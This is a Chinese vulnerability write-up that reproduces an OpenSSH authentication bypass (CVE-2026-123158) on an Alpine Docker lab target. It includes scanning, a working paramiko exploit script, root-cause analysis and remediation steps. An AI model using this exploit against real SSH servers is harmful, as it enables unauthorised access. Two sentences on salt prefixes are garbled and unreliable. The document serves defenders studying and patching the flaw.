漏洞基础信息
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2026-123158 |
| 漏洞类型 | 身份认证绕过(CWE-287) |
| 影响组件 | OpenSSH 的 sshd,运行在 musl libc 且未启用 PAM 的系统上 |
| 影响版本 | OpenSSH 10.6p2 之前;Alpine 3.15 及更早没有修复包 |
| 修复版本 | OpenSSH 10.6p2,2026 年 11 月 5 日发布;Alpine 3.16 至 edge 已回填 |
| 利用前提 | 能访问 SSH 端口;存在口令字段为星号的账号;本机至少有一个以 $ 开头的口令哈希 |
| 公开利用 | 原理公开,无独立 PoC |
问题出在 musl 与 sshd 的交界处。musl 的 crypt 在口令过长时返回一个星号作为错误值,而 OpenSSH 用 strcmp 把 crypt 的结果与存储的口令哈希直接比较;当账号的口令字段本身就是星号时,两侧相等,认证通过,不需要知道任何口令。
CVSS 3.1 评分为 8.1,已列入 CISA KEV,EPSS 约 1%。glibc 系统(Debian、Ubuntu、Fedora)不受影响,启用 PAM 的 sshd 也不受影响。
漏洞复现
环境搭建
靶机是 Kali Rolling,用 Docker 起 Alpine 3.15。该分支已停止维护,没有拿到修复包,镜像里的 openssh-server 是 8.8p1。
┌──(kali㉿kali)-[~]└─$ sudo docker run -d --name sshole -p 2222:22 alpine:3.15 sleep 3600└─$ sudo docker exec sshole sh -c "apk add --no-cache openssh"└─$ sudo docker exec sshole ssh -VOpenSSH_8.8p1, OpenSSL 1.1.1w 11 Sep 2023容器里准备两个账号。bob 的口令字段写成星号,模拟只用密钥登录的运维账号;alice 设一个正常口令,用来做对照。sshd 打开口令登录,root 保持禁止。
┌──(kali㉿kali)-[~]└─$ sudo docker exec sshole sh -c "ssh-keygen -A; adduser -D -s /bin/sh bob; adduser -D -s /bin/sh alice"└─$ sudo docker exec sshole sh -c "sed -i 's|^bob:.*|bob:*:20767:0:99999:7:::|' /etc/shadow"└─$ sudo docker exec sshole sh -c "echo alice:alice123 | chpasswd"└─$ sudo docker exec sshole sh -c "sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config"└─$ sudo docker exec sshole sh -c "sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config"└─$ sudo docker exec sshole sh -c "/usr/sbin/sshd"└─$ sudo docker exec sshole sh -c "grep -E '^(bob|alice|root):' /etc/shadow"root:!::0:::::bob:*:20767:0:99999:7:::alice:$6$ZmF.QOUo.l.9mgdV$jHM1aStZ/wwdoAwmYGDK2wh2.TVNo9smaMKydTXDYax6X7r3mKj1y0oRDSCiMwiP0qe2sTNPYbfvkMWzakEie.:20767:0:99999:7:::确认 sshd 没有链接 PAM,口令登录处于开启状态。
┌──(kali㉿kali)-[~]└─$ sudo docker exec sshole sh -c "ldd /usr/sbin/sshd | grep -c pam; sshd -T | grep -iE '^(passwordauthentication|permitrootlogin)'"0permitrootlogin nopasswordauthentication yes攻击机是另一台 Kali。验证脚本用 paramiko,它允许在同一个连接里连续发起多次口令认证,这一点后面会用到。
┌──(kali㉿kali)-[~]└─$ python3 -c "import paramiko; print(paramiko.__version__)"4.0.0目标探测
攻击开始时只知道靶机地址 192.168.31.148。
┌──(kali㉿kali)-[~]└─$ nmap -p- --min-rate 5000 -T4 192.168.31.148Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-10 03:16 -0500Nmap scan report for 192.168.31.148Host is up (0.00013s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh2222/tcp open EtherNetIP-1MAC Address: 00:0C:29:B3:23:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds扫描结果里有两个 SSH 端口。22 是靶机自身的服务,2222 是容器映射出来的,对两者一起做版本识别。
┌──(kali㉿kali)-[~]└─$ nmap -sV -p 22,2222 --version-light 192.168.31.148PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 10.2p1 Debian 6 (protocol 2.0)2222/tcp open ssh OpenSSH 8.8 (protocol 2.0)MAC Address: 00:0C:29:B3:23:74 (VMware)两个版本都低于 10.6p2,但只有 2222 可打。banner 里带着各自的构建信息。
┌──(kali㉿kali)-[~]└─$ printf "\n" | timeout 5 nc 192.168.31.148 22 | head -1SSH-2.0-OpenSSH_10.2p1 Debian-6└─$ printf "\n" | timeout 5 nc 192.168.31.148 2222 | head -1SSH-2.0-OpenSSH_8.822 的 banner 带 Debian 标记,是 Debian 打包、跑在 glibc 上的构建,漏洞依赖的 musl 返回值不会出现。2222 的 8.8 没有发行版后缀,正是 Alpine 3.15 自带的那一版,落在受影响区间,也说明它是 musl 构建。到这里就可以进去试,能不能打中由认证结果决定。
漏洞验证
先用普通方式试一次。bob 的口令字段是星号,任何口令都不该通过,事实也是如此。
┌──(kali㉿kali)-[~]└─$ timeout 20 python3 -c "import paramikoc = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())try: c.connect('192.168.31.148', port=2222, username='bob', password='A'*300, timeout=8, allow_agent=False, look_for_keys=False) print('CONNECTED')except Exception as e: print(type(e).__name__)"AuthenticationException把口令长度从 1 扫到 1025,每种长度都在同一个连接里连续尝试两次,记录哪一次通过。
┌──(kali㉿kali)-[~]└─$ python3 /tmp/sshole_len.py 192.168.31.148 2222 boblen=1 attempts=fail,fail auth=Falselen=255 attempts=fail,fail auth=Falselen=256 attempts=fail,fail auth=Falselen=257 attempts=fail,ok auth=True uid=1000(bob) gid=1000(bob) groups=1000(bob)len=300 attempts=fail,ok auth=True uid=1000(bob) gid=1000(bob) groups=1000(bob)len=512 attempts=fail,ok auth=True uid=1000(bob) gid=1000(bob) groups=1000(bob)len=1024 attempts=fail,ok auth=True uid=1000(bob) gid=1000(bob) groups=1000(bob)len=1025 attempts=fail,fail auth=False边界很清楚:256 字节不通过,257 字节开始通过,1024 字节仍然通过,1025 字节被 sshd 拒绝。只尝试一次时,任何长度都不通过;第二次才成功。
口令内容与结果无关。两个不同的 300 字节口令,第二次照样通过。
┌──(kali㉿kali)-[~]└─$ python3 /tmp/sshole_why.py 192.168.31.148 2222 bobone attempt, 300 chars attempts=fail auth=Falsetwo attempts, different 300s attempts=fail,ok auth=True uid=1000(bob) gid=1000(bob) groups=1000(bob)wrong then 300 attempts=fail,ok auth=True uid=1000(bob) gid=1000(bob) groups=1000(bob)300 then wrong attempts=fail,fail auth=Falsetwo wrongs then 300 attempts=fail,fail,ok auth=True uid=1000(bob) gid=1000(bob) groups=1000(bob)换成有真实口令的 alice,同样长度的口令不通过,正确的口令才能登录,说明绕过只对星号账号有效。
┌──(kali㉿kali)-[~]└─$ python3 /tmp/sshole_len.py 192.168.31.148 2222 alicelen=300 attempts=fail,fail auth=Falselen=512 attempts=fail,fail auth=Falselen=1024 attempts=fail,fail auth=Falselen=1025 attempts=fail,fail auth=False漏洞利用
把两次尝试写进一个脚本,第一次随便给一个口令,第二次给 300 字节的字符串,登录后执行命令。
┌──(kali㉿kali)-[~]└─$ python3 /tmp/sshole.py 192.168.31.148 2222 bob "id; hostname; cat /etc/alpine-release"[*] banner: SSH-2.0-OpenSSH_8.8[*] first attempt: rejected (expected)[*] second attempt authenticated: Trueuid=1000(bob) gid=1000(bob) groups=1000(bob)503ea7a3c1743.15.11登录后的身份是 bob,不是 root。要提权还得另找路径,这一步只解决认证。
整个过程没有向靶机写入文件,脚本都在攻击机上运行,认证失败只产生两条失败记录。实验结束后容器一并删除。
漏洞核心原理
musl 的 crypt 在什么情况下返回星号
musl 的 SHA-crypt 实现里有一个长度上限。
#define KEY_MAX 256...for (i = 0; i <= KEY_MAX && key[i]; i++);if (i > KEY_MAX) return "*";键长超过 256 字节时直接返回星号,不再计算哈希。这个行为只在以 156$)下出现;换成 DES 的两位盐,超长口令仍会算出一个 13 字节的结果。
在容器里直接调用 libc 可以复现这个分界。
┌──(kali㉿kali)-[~]└─$ sudo docker exec sshole python3 /tmp/crypt_probe.pysalt=$6$ZmF.QOUo.l.9mgdV$ key=256 -> $6$ZmF.QOUo.l.9mgdV$eDa40ZRgEPcgA.srGboGsalt=$6$ZmF.QOUo.l.9mgdV$ key=257 -> *salt=$6$ZmF.QOUo.l.9mgdV$ key=300 -> *salt=xx key=257 -> xxJJqYuu8A9oEOpenSSH 怎么比较
sshd 在不启用 PAM 时走 sys_auth_passwd,把候选口令按存储哈希的盐重新计算,再与存储值逐字节比较。
char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;...if (authctxt->valid && pw_password[0] && pw_password[1]) salt = pw_password;encrypted_password = xcrypt(password, salt);...return encrypted_password != NULL && strcmp(encrypted_password, pw_password) == 0;星号只有一位,pw_password[1] 是零,盐不会被采用,xcrypt 转而调用 pick_salt:它遍历 passwd,找到第一个以 6$ 盐计算候选口令,257 字节以上得到星号,与 bob 的星号相等,函数返回 1。
第一次尝试为什么会失败
如果只是上面的逻辑,第一次就该成功。实测却要两次,原因在 pick_salt 与 shadow_pw 共用同一块缓冲区。
shadow_pw 返回的是 getspnam 的静态结果,sys_auth_passwd 先把指针存进 pw_password,再调用 xcrypt。xcrypt 发现盐为空,进入 pick_salt,循环里对每个账号调用 shadow_pw,getspnam 反复覆写同一块缓冲区,循环结束时还把最后一个结果清零。等流程回到 strcmp,pw_password 指向的内容已经不是星号,比较失败。
第二次尝试时,pick_salt 里的静态盐已经有值,函数一进门就返回,不再触碰 shadow,pw_password 保持星号,比较成功。
这也解释了为什么两个不同的长口令都能在第二次通过:起作用的是缓存的盐,不是口令本身。
修复提交同时做了两件事,一件是给比较加上长度下限,另一件是把 shadow_pw 改成返回副本,避免缓冲区被后续调用覆盖。
#define MIN_PASSWORD_HASH_LEN 4...ret = encrypted_password != NULL && strlen(pw_password) >= MIN_PASSWORD_HASH_LEN && strcmp(encrypted_password, pw_password) == 0;长度不足 4 的存储值不再参与比较,星号、感叹号这类占位符都被排除。
修复方案
升级到 OpenSSH 10.6p2 或更高版本。Alpine 已为 3.16 至 edge 回填修复包,3.15 及更早没有修复包,只能升级发行版或关闭口令登录。
无法升级时按影响面从大到小处理:
- 关闭口令认证。在 sshd_config 中设置 PasswordAuthentication no,重启 sshd,只保留密钥登录。这是最直接的做法。
- 启用 PAM。受影响的前提之一是没有 PAM,改用 openssh-server-pam 并设置 UsePAM yes 可以绕开这段比较逻辑。
- 清理星号账号。给仍在使用的账号设置真实口令或改用密钥,把不再使用的账号从 passwd 与 shadow 中删除。
- 限制来源。SSH 端口只对管理网段开放,减少可发起尝试的来源。
排查是否已经被利用,在 /var/log/messages 或 auth.log 中搜索没有口令的账号出现的登录成功记录。sshd 在认证成功时会写一行 Accepted password,这类账号本不该有口令登录,出现该记录即可判定异常。
附录:验证脚本
#!/usr/bin/env python3"""CVE-2026-123158: OpenSSH password auth bypass on musl without PAM."""import sys, paramiko
host, port, user, cmd = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]long_pwd = "A" * 300
t = paramiko.Transport((host, port))t.start_client(timeout=10)print("[*] banner:", t.remote_version)
# 第一次认证只是为了让 pick_salt 缓存盐值,任何密码都会失败try: t.auth_password(user, "prime")except paramiko.AuthenticationException: print("[*] first attempt: rejected (expected)")
t.auth_password(user, long_pwd)print("[*] second attempt authenticated:", t.is_authenticated())
ch = t.open_session()ch.exec_command(cmd)print(ch.makefile().read().decode().rstrip())t.close()长度扫描脚本在同一个连接里依次尝试两次,第二次更换长度,用来观察边界。
def try_len(n): t = paramiko.Transport((host, port)); t.start_client(timeout=10) res = [] for pwd in ("wrongpass", "A" * n): try: t.auth_password(user, pwd); res.append("ok") except paramiko.AuthenticationException: res.append("fail") if t.is_authenticated(): break auth = t.is_authenticated() t.close() return res, auth参考链接
- OpenSSH 10.6p2 发布说明:OpenSSH Release Notes
- 修复提交说明:openssh-portable
- 技术分析:sshole (CVE-2026-123158): OpenSSH password bypass on Alpine Linux
- 检查与修复:Alpine OpenSSH Password Bypass: Check and Fix
- 漏洞条目:CVE-2026-123158
- musl 源码:crypt_sha512.c